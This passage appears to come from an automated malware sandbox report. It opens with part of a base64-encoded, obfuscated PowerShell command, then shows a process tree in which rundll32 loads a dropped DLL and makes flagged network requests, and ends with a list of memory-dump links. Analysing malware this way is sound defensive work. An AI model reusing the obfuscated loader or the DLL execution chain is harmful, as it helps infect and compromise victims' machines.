OQB3ADIAagAnACkAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABEAHoAaQA0ADYAMQA5AD0AKAAoACcASQB6ACcAKwAnAGUAJwApACsAKAAnAG4AJwArACcAdABhADQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcANABfADcAcgA3AG8APQAoACcATwBuACcAKwAoACcAawAnACsAJwA0ADQAMQAnACkAKwAnAG0AJwApAA==
          2⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1672
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\J95z9xs\Ytz_2wz\Anbd969ox.dll #1
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1196
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\system32\rundll32.exe" C:\Users\Admin\J95z9xs\Ytz_2wz\Anbd969ox.dll #1
              4⤵
              • Loads dropped DLL
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:660
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Emno\smt.ica",RunDLL
                5⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                PID:1716

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/660-18-0x00000000001E0000-0x0000000000200000-memory.dmp
            Download

            memory/1468-21-0x000007FEF79D0000-0x000007FEF7C4A000-memory.dmp
            Download

            memory/1672-4-0x000007FEF5750000-0x000007FEF613C000-memory.dmp
            Download

            memory/1672-5-0x0000000002410000-0x0000000002411000-memory.dmp
            Download

            memory/1672-7-0x0000000002550000-0x0000000002551000-memory.dmp
            Download

            memory/1672-6-0x000000001AAC0000-0x000000001AAC1000-memory.dmp
            Download

            memory/1672-10-0x000000001B430000-0x000000001B431000-memory.dmp
            Download

            memory/1672-9-0x000000001A9B0000-0x000000001A9B1000-memory.dmp
            Download

            memory/1672-8-0x0000000002370000-0x0000000002371000-memory.dmp
            Download

            memory/1716-20-0x00000000001A0000-0x00000000001C0000-memory.dmp
            Download